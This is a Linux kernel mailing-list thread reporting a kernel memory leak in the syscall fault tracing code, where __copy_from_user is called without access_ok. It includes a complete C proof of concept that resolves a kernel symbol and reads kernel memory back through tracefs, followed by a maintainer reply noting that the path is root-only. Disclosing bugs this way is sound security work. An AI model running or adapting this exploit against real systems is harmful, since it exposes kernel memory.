* [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
@ 2026-10-15 7:01 Haoran Wang
2026-10-15 8:44 ` Greg KH
0 siblings, 1 reply; 2+ messages in thread
From: Haoran Wang @ 2026-10-15 7:01 UTC (permalink / raw)
To: rostedt, mhiramat
Cc: linux-kernel, linux-trace-kernel, mathieu.desnoyers, security,
haoranwangsec
I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree. I have reproduced the leak on an
7.2.10 kernel.
1. Summary
The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
treats the raw syscall argument args[1] (the buffer pointer) of faultable
syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
with __copy_from_user(buf, args[1], size) without an access_ok() check.
When a traced process calls write(fd, <kernel address>, count), the
sys_enter tracepoint fires before vfs_write's access_ok and
__copy_from_user copies up to 165 bytes from that kernel address into the
per-CPU trace buffer, which is appended to the sys_enter_write event and
readable from /sys/kernel/tracing/trace. The write() itself then returns
EFAULT, but the leak is already complete. copy_from_user() would have
rejected a kernel address via access_ok(); __copy_from_user() does not.
2. Vulnerable code
- File: kernel/trace/trace_syscalls.c:686 (Linux 7.0.11; :685 in 7.2.10)
- Function: syscall_copy_user_array
- Misused API: __copy_from_user
```c
/* syscall_copy_user_array() - syscall fault tracing */
__copy_from_user(buf, ptr, size); /* ptr = args[1] (raw syscall buffer arg), no access_ok() */
```
3. Root cause
__copy_from_user() is the access_ok()-skipping variant of
copy_from_user(). The syscall fault tracing feature marks
write/pwrite64/mq_timedsend as faultable: check_faultable_syscall() sets
user_mask = BIT(1) (the buffer argument) and user_arg_size = 2 (the count
argument). When such a syscall is ftrace-traced, sys_fault_user() takes
the syscall's *raw* argument args[1] (the buffer-pointer register value)
as a user address and, via syscall_copy_user_array(), calls
__copy_from_user(buf, args[1], size) with no access_ok(). Because args[1]
is the raw register value captured at the sys_enter tracepoint (before
vfs_write performs its own access_ok on the buffer), a traced process can
supply a kernel address there; __copy_from_user dereferences it directly
and copies up to SYSCALL_FAULT_USER_MAX (165) bytes of kernel memory into
the per-CPU trace buffer. The content appears in the sys_enter_write trace
event and is readable from /sys/kernel/tracing/trace. The actual write()
then fails with EFAULT (vfs_write's access_ok rejects the kernel address),
but the leak has already happened in the tracepoint.
This differs from the trace.c:6836 site (tracing_mark_write), where the
VFS layer's access_ok (vfs_write at fs/read_write.c:676) guards the buffer
before the ftrace .write handler runs. Here the leak happens at the
sys_enter tracepoint, which fires *before* vfs_write's access_ok, so there
is no upstream guard on args[1].
4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed -- reproduced on
an 7.2.10 kernel.
5. Trigger / Preconditions
root / CAP_SYS_ADMIN / CAP_PERFMON (needed to enable syscall tracing via
tracefs; on the test machine /proc/sys/kernel/perf_event_paranoid = 2 and
tracefs is root-writable), plus CONFIG_FTRACE_SYSCALLS. The traced process
calls write(fd, <kernel address>, count) while sys_enter_write tracing is
enabled.
6. Proof of Concept
Reproduced on a pristine Linux 7.2.10 kernel
(CONFIG_FTRACE_SYSCALLS=y, config-only). The traced process calls
write(devnull, linux_banner_addr, 200); the sys_enter_write trace event
then contains the leaked linux_banner string.
Concrete reproduced evidence (version 7.2.10):
- The sys_enter_write trace event contains the leaked linux_banner hex
blob and ASCII string; decoding matches /proc/version.
- Decoded leaked content begins: "Linux version 7.2.10 (root@xxx) (gcc
(Ubuntu 15.2.0-16ubuntu1) ...", which exactly matches /proc/version on
the test kernel.
- write() itself returns EFAULT (vfs_write access_ok rejects the kernel
address), but the kernel-memory copy into the trace buffer has already
completed in the sys_enter tracepoint.
- KASAN does not catch it (__copy_from_user performs no __asan_loadN on
the source).
```c
/*
*
* Build: gcc -O2 -o poc_syscall_fault_leak poc_syscall_fault_leak.c
* Run: sudo ./poc_syscall_fault_leak
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdint.h>
#define TRACEFS "/sys/kernel/tracing"
#define EVT TRACEFS "/events/syscalls/sys_enter_write"
static int write_file(const char *path, const char *val)
{
int fd = open(path, O_WRONLY);
if (fd < 0)
return -1;
if (write(fd, val, strlen(val)) < 0) {
close(fd);
return -1;
}
close(fd);
return 0;
}
static unsigned long lookup_sym(const char *sym)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f)
return 0;
char line[256], name[128];
unsigned long a;
char t;
while (fgets(line, sizeof(line), f))
if (sscanf(line, "%lx %c %127s", &a, &t, name) == 3 && a && !strcmp(name, sym)) {
fclose(f);
return a;
}
fclose(f);
return 0;
}
static char *read_file(const char *path, char *buf, size_t cap)
{
int fd = open(path, O_RDONLY);
if (fd < 0)
return NULL;
size_t total = 0;
ssize_t n;
while (total < cap - 1 && (n = read(fd, buf + total, cap - 1 - total)) > 0)
total += n;
buf[total] = 0;
close(fd);
return buf;
}
int main(void)
{
if (getuid() != 0) {
fprintf(stderr, "[-] must run as root (tracefs is root-only, perf_event_paranoid=2)\n");
return 1;
}
unsigned long kaddr = lookup_sym("linux_banner");
if (!kaddr) {
fprintf(stderr, "[-] cannot resolve linux_banner from /proc/kallsyms\n");
return 1;
}
printf("[+] target: linux_banner @ 0x%lx\n", kaddr);
printf("[+] (kernel string: \"Linux version 7.x (root@...) ...\")\n");
printf("[+] vuln site: trace_syscalls.c:686 syscall_copy_user_array -> __copy_from_user (no access_ok)\n\n");
int devnull = open("/dev/null", O_WRONLY);
if (devnull < 0) {
perror("open /dev/null");
return 1;
}
if (access(EVT "/enable", W_OK) != 0) {
fprintf(stderr, "[-] %s/enable not writable (%s)\n", EVT, strerror(errno));
fprintf(stderr, " -> CONFIG_FTRACE_SYSCALLS off, or tracefs not mounted\n");
return 1;
}
write_file(TRACEFS "/trace", "\n");
int pipefd[2];
if (pipe(pipefd) < 0) {
perror("pipe");
return 1;
}
pid_t child = fork();
if (child < 0) {
perror("fork");
return 1;
}
if (child == 0) {
close(pipefd[1]);
char c;
read(pipefd[0], &c, 1); /* wait until parent finished enabling */
close(pipefd[0]);
/*
* THE TRIGGER: write(fd, KERNEL_ADDR, 200).
* The buf argument is a kernel address. The sys_enter tracepoint
* fires before vfs_write's access_ok, and __copy_from_user copies
* directly from that kernel address -> kernel memory enters the trace.
* write() then returns EFAULT, but the leak is already complete.
*/
syscall(__NR_write, devnull, (void *)kaddr, 200);
_exit(0);
}
close(pipefd[0]);
char filter[64];
snprintf(filter, sizeof(filter), "common_pid == %d", child);
if (write_file(EVT "/filter", filter) < 0)
fprintf(stderr, "[!] set filter failed: %s\n", strerror(errno));
if (write_file(EVT "/enable", "1") < 0)
fprintf(stderr, "[!] enable event failed: %s\n", strerror(errno));
write(pipefd[1], "x", 1);
close(pipefd[1]);
waitpid(child, NULL, 0);
write_file(EVT "/enable", "0");
write_file(EVT "/filter", "0");
char buf[65536];
if (!read_file(TRACEFS "/trace", buf, sizeof(buf))) {
fprintf(stderr, "[-] cannot read trace\n");
return 1;
}
char *line = strstr(buf, "write(fd:");
if (!line) {
printf("[-] no sys_enter_write event captured.\n");
printf("--- trace dump ---\n%s\n", buf);
return 1;
}
char *eol = strchr(line, '\n');
if (eol)
*eol = 0;
printf("[+] captured sys_enter_write event:\n %s\n\n", line);
if (strstr(line, "Linux version")) {
printf("[!] ============================================================\n");
printf("[!] KERNEL MEMORY LEAK CONFIRMED at trace_syscalls.c:686\n");
printf("[!] trace event contains the kernel banner string,\n");
printf("[!] read from 0x%lx via __copy_from_user() WITHOUT access_ok()\n", kaddr);
printf("[!] ============================================================\n");
return 0;
}
char *q1 = strchr(line, '"');
if (q1) {
char *q2 = strrchr(line, '"');
if (q2 > q1) {
printf("[!] leaked ASCII segment: \"%.*s\"\n", (int)(q2 - q1 - 1), q1 + 1);
if (strstr(q1, "Linux") || strstr(q1, "version")) {
printf("[!] KERNEL MEMORY LEAK CONFIRMED\n");
return 0;
}
}
}
printf("[?] no recognizable kernel string - inspect the hex blob in the event line above.\n");
return 2;
}
```
7. Impact
Kernel memory information leak: up to 165 bytes per faultable-syscall
invocation via __copy_from_user() with no access_ok(), readable from
/sys/kernel/tracing/trace.
Please let me know if you need more detail.
Best regards,
Haoran Wang <haoranwangsec@gmail.com>
^ permalink raw reply [flat|nested] 2+ messages in thread
* Re: [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing
2026-10-15 7:01 [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing Haoran Wang
@ 2026-10-15 8:44 ` Greg KH
0 siblings, 0 replies; 2+ messages in thread
From: Greg KH @ 2026-10-15 8:44 UTC (permalink / raw)
To: Haoran Wang
Cc: rostedt, mhiramat, linux-kernel, linux-trace-kernel,
mathieu.desnoyers, security
On Thu, Oct 15, 2026 at 03:01:08PM +0800, Haoran Wang wrote:
> I'd like to report an issue in kernel/trace/trace_syscalls.c:686 (function
> syscall_copy_user_array), found via static analysis of Linux 7.0.11 and
> verified against the 7.2.10 source tree. I have reproduced the leak on an
> 7.2.10 kernel.
Cool, but you forgot to also provide a working patch for this?
> 1. Summary
> The "syscall fault tracing" feature (added in 7.0, CONFIG_FTRACE_SYSCALLS)
> treats the raw syscall argument args[1] (the buffer pointer) of faultable
> syscalls (write/pwrite64/ mq_timedsend) as a user address and copies it
> with __copy_from_user(buf, args[1], size) without an access_ok() check.
> When a traced process calls write(fd, <kernel address>, count), the
> sys_enter tracepoint fires before vfs_write's access_ok and
> __copy_from_user copies up to 165 bytes from that kernel address into the
> per-CPU trace buffer, which is appended to the sys_enter_write event and
> readable from /sys/kernel/tracing/trace. The write() itself then returns
> EFAULT, but the leak is already complete. copy_from_user() would have
> rejected a kernel address via access_ok(); __copy_from_user() does not.
This is root-only, so there's no security issue really, right? Or am I
mistaken?
thanks,
greg k-h
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-10-15 8:44 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-15 7:01 [BUG] tracing: __copy_from_user without access_ok leaks kernel memory in syscall fault tracing Haoran Wang
2026-10-15 8:44 ` Greg KH
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox